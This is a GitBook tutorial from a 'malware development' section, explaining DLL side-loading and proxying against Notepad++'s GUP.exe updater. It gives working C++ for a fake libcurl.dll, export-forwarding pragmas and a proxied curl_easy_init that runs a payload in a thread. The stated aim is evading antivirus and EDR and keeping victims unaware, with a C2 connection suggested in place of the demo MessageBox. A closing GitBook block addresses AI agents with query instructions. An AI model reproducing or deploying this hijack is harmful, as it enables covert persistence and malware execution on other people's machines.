> For the complete documentation index, see [llms.txt](https://everythingblackkk.gitbook.io/everythingblackkk/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://everythingblackkk.gitbook.io/everythingblackkk/malware-development/editor-6.md).

# DLL Side-Loading & Proxying

**Hello everyone!**

Today, we’re going to explain a technique widely used by **APT (Advanced Persistent Threat) groups**, as well as **Red Teams**—the **DLL Side-Loading & Proxying** technique.

The key advantage of this technique is that when exploited correctly, it can be **difficult for security solutions to detect**, since it leverages a **trusted application**—as we’ll demonstrate today using **Notepad++** as an example.

However, it's important to note that **Notepad++ is just an example**; this technique can be exploited through many other applications that allow **DLL Side-Loading**.

I hope you find this article useful! If you have any questions, feel free to ask.\
Alright, enough talk—let’s get started!&#x20;

Befor We Started We Need to know , What is DLL Files ?&#x20;

## 1- What Is DLL FIles ?&#x20;

Look, a DLL stands for <mark style="color:red;">**Dynamic Link Library**</mark>, and it's a type of file in **Windows** that contains code and functions that other programs can use instead of writing the same code from scratch. It's like a ready-made library with functions that programs can call when needed instead of rewriting them.

***

## 2- What is **DLL sideloading ?**&#x20;

In the previous writeup, we explored **DLL sideloading** as an **operational security (OpSec) strategy** for loading payloads. However, it's important to recognize that certain **Endpoint Detection and Response (EDR) solutions** can flag anomalies when a **system binary** is sideloaded from an unusual location.

For instance, in the last module, we used **msdtc.exe**, a legitimate system binary from `C:\Windows\System32`. Some **EDRs** can detect that this binary is being executed from an unexpected directory—such as `C:\Users\User\Desktop`—which may trigger security alerts, even if no malicious DLL is present.

To minimize detection risks, an alternative approach is to **sideload DLLs using third-party, digitally signed applications**. Since these applications do not originate from the Windows system directory, running them from a different location is **less likely to raise suspicion** in **EDR systems**.

***

## **3 - Sideloading with GUP.exe**

we will focus on **GUP.exe**, an executable that is part of the **WinGUp project**. WinGUp is a configurable updater responsible for **downloading and installing updates**. It relies on the **cURL library** to connect to the internet and fetch update packages.

A key point of interest is that **Notepad++**, the widely used text and source code editor, utilizes **WinGUp** as its updater. This creates a **potential vulnerability** for **DLL sideloading**, particularly when the **GUP.exe** binary is involved.

By default, **GUP.exe** is located in:\
`C:\Program Files\Notepad++\updater`

Alongside **GUP.exe**, you'll also find:

* **libcurl.dll** – The dynamic link library for handling network operations.
* **gup.xml** – The update configuration file for Notepad++.

Because **GUP.exe** interacts with **libcurl.dll**, it presents an **opportunity for DLL sideloading**, which we will explore in this Writeup.

<figure><img src="/files/I1ASgrRICSUhaNQ0xYxy" alt=""><figcaption><p>GUP.exe Did not find "libcul.dll"</p></figcaption></figure>

We found that **GUP.exe** requires the **libcurl.dll** file to run. Now, let's create our own custom **DLL file** and name it the same as the original file. However, instead of its normal functionality, we'll make it display a **MessageBox** first. After that, we can modify it to execute **any action we want**.

```csharp
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "This DLL is Side-Loaded!", "Success!", MB_OK | MB_ICONEXCLAMATION);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```

Now, **GUP.exe** has successfully loaded the **fake libcurl.dll** that we created.

However, a new issue has emerged, which we will now **explain in detail**.

<figure><img src="/files/42LtNMSlycJ808mv8eXD" alt=""><figcaption></figcaption></figure>

The error message indicates that **GUP.exe** was unable to resolve a function named <mark style="color:red;">curl\_easy\_setopt</mark> Now, let's check the error and see **what GUP.exe requires** in order to run properly.

<figure><img src="/files/04tNN9FpMz8lxrFplqXD" alt=""><figcaption></figcaption></figure>

**Identifying the Target Function**

To determine which function **GUP.exe** calls, we'll use the **xdbg debugger**. Start by opening the original **GUP.exe** from:\
&#x20;`C:\Program Files\Notepad++\updater`

Then, set **breakpoints** on all the **exported functions**, as shown in the image below.

Once the breakpoints are set, resume execution beyond the **GUP.exe entry point**. The debugger will hit a **breakpoint at the curl\_easy\_init function**, confirming that this function is being executed.

Since **curl\_easy\_init** is actively used, it becomes a **good candidate** for injecting our **payload**.

<figure><img src="/files/kXCQmd06cX6jQplcEubj" alt=""><figcaption></figcaption></figure>

After identifying the functions required by **GUP.exe**, we will create a modified version of **libcurl.dll**. This version will export the functions needed by **GUP.exe**, such as **curl\_easy\_setopt**, **curl\_easy\_cleanup**, and **curl\_easy\_perform**.

```csharp
#include <Windows.h>
extern __declspec(dllexport) PVOID curl_easy_init() {
MessageBoxA(NULL, "This DLL is Side-Loaded!", "Success!", MB_OK | MB_ICONEXCLAMATION);
return NULL;
}
extern __declspec(dllexport) PVOID curl_easy_setopt() {
return NULL;
}
extern __declspec(dllexport) PVOID curl_easy_cleanup() {
return NULL;
}
extern __declspec(dllexport) PVOID curl_easy_perform() {
return NULL;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Once the custo
```

Now, let's test our **new fake DLL file**.

Don't forget to **copy the gup.xml file** as well, since **GUP.exe requires it** to run properly.

We'll place all these files in a folder—now let's see what happens!

<figure><img src="/files/TeiFYYEnPyhv2VNqP3dK" alt=""><figcaption></figcaption></figure>

### Boooooooom !!!! It's Work&#x20;

But of course, we're not just going to make a **MessageBox** after all this. Instead, we can make it connect to our **C2 server** or do anything else we want.

Obviously, don’t be a <mark style="color:red;">**script kiddie**</mark> and just copy the code—I’ll make you write it yourself!

<figure><img src="/files/zY4hW58KZSnZ2WxJTuo1" alt=""><figcaption><p>Havoc C2 Server</p></figcaption></figure>

And We Bypass AV :)&#x20;

<figure><img src="/files/jzsmRJmIo8io2SB1q0Rp" alt=""><figcaption><p>Bypass AV</p></figcaption></figure>

{% hint style="info" %}
But There Is a problem&#x20;
{% endhint %}

If the user tries to open **Notepad++** and attempts to update it, they will notice that the update message doesn’t appear. This will raise a lot of suspicion and could potentially cause our **Red Team** operation to fail.

#### Why does this happen?

This happens because the file responsible for handling updates is **libcurl.dll**.

However, in reality, we **removed the original libcurl.dll** and replaced it with a **fake version** containing our malicious commands.

So, when the victim tries to update **Notepad++**, our **malicious payload** will execute successfully, but the update message will not appear.

#### &#x20;This is where **DLL Proxying** comes into play!

## 4  - DLL Proxying

DLL Proxying is a technique used to <mark style="color:red;">intercept function calls that are supposed to go to the original DLL</mark> <mark style="color:red;">file</mark>. This is done by creating an intermediary DLL, known as a Proxy DLL, which has the same exported functions as the original file. The idea is that this Proxy DLL loads the original file and then intercepts the calls directed to it. It can execute malicious code if desired before forwarding the calls to the original file, allowing the program to function normally without detecting any interference.

<figure><img src="/files/eZVKjAdqXVuUyhy6B9kJ" alt=""><figcaption></figcaption></figure>

## 5 - Function Exporting and Proxy Mechanism

**5.1 Why These Specific Functions?**

These functions are exported because:

* They are the same functions exported by the original **libcurl**, so any program that uses **libcurl** will interact with our proxy as if it were the original.
* **curl\_easy\_init()** is one of the first functions invoked when using **libcurl**, making it an ideal entry point for executing malicious code.
* The rest of the functions are exported only to maintain compatibility, even if they do not perform any malicious actions.

**5.2 Details of the Exporting Mechanism**

* We use <mark style="color:red;">**`__declspec(dllexport)`**</mark> to ensure that our functions appear in the **Export Table** of the new DLL.
* Each function has exactly the same name and signature as the original function to ensure that programs do not detect any differences.
* When a program calls any function, our proxy receives the request first. If the function is <mark style="color:red;">**curl\_easy\_init()**</mark><mark style="color:red;">,</mark> the malicious code is executed before forwarding the call to the original DLL as usual.

## 6 - Building The DLL Proxy

To make our **fake libcurl.dll** file **redirect function calls** that **GUP.exe** needs, the first step is to **rename the original libcurl.dll** to a different name, such as **gup.dll**.

Next, we'll keep our **malicious DLL file** named **libcurl.dll** as usual.

After that, we'll add the following code to **inform the compiler** that we want to **export these functions** properly.

```csharp
#pragma comment(linker,"/export:curl_easy_setopt=gup.curl_easy_setopt,@14")
#pragma comment(linker,"/export:curl_easy_cleanup=gup.curl_easy_cleanup,@1")
#pragma comment(linker,"/export:curl_easy_perform=gup.curl_easy_perform,@10")
```

**gup** is the new name for the **libcurl.dll** file, now called **gup.dll**.

**@#** represents the **ordinal number**, which is a unique identifier for each function inside **gup.dll**.

To find the ordinal number of a function, you can import **gup.dll** into **PeBear**.

<figure><img src="/files/j0lFJ6OPEn9yEYyLDNEi" alt=""><figcaption></figcaption></figure>

The last function we need to build and export is <mark style="color:red;">**curl\_easy\_init**</mark><mark style="color:red;">,</mark> which is responsible for executing the **payload**. Unlike other functions, **curl\_easy\_init** cannot be directly forwarded, as this would prevent the payload from executing. Therefore, we need to manually call the **original function**, as shown in the code below.

The **RunPayload** function runs in a **separate thread** to avoid waiting for its execution to complete. The goal is to ensure that **curl\_easy\_init** returns its result to **GUP.exe** as quickly as possible, minimizing any delays in function execution and maintaining the appearance of normal behavior.

```csharp

VOID RunPayload() {
    MessageBoxA(NULL, "This DLL is Side-Loaded!", "Success!", MB_OK | MB_ICONEXCLAMATION);
}


typedef PVOID(WINAPI* fncurl_easy_init)();
extern __declspec(dllexport) PVOID curl_easy_init() {
HANDLEhModule= NULL;
fncurl_easy_initpcurl_easy_init= NULL;

CreateThread(NULL, 0x00, RunPayload, NULL, 0x00, NULL);
if (!(hModule = LoadLibrary(L"gup.dll")))
    return NULL;
    
if (!(pcurl_easy_init = (fncurl_easy_init)GetProcAddress(hModule, "curl_easy_init")))
    return NULL;
    
return pcurl_easy_init();
}

    BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    switch (dwReason)
{
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

```

## Annnnnnnnnd !!!!!!!!! Boooooooom&#x20;

<figure><img src="/files/OzE5MOBhMQiPG5BOEAW5" alt=""><figcaption></figcaption></figure>

You can connect to your own server Like Havoc c2.&#x20;

## Thank you all! I hope you enjoyed the article. If you have any questions, I'm here to help.

reference  : &#x20;

{% embed url="<https://www.cybereason.com/blog/threat-analysis-report-dll-side-loading-widely-abused>" %}

{% embed url="<https://www.ired.team/offensive-security/persistence/dll-proxying-for-persistence>" %}

{% embed url="<https://attack.mitre.org/techniques/T1574/002/>" %}

Remember My name : everythingBlackkk

Made by ❤

Github : <https://github.com/everythingBlackkk>

Linkedin : [www.linkedin.com/in/everythingblackkk](http://www.linkedin.com/in/everythingblackkk)

X : <https://x.com/iyassinmo>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://everythingblackkk.gitbook.io/everythingblackkk/malware-development/editor-6.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
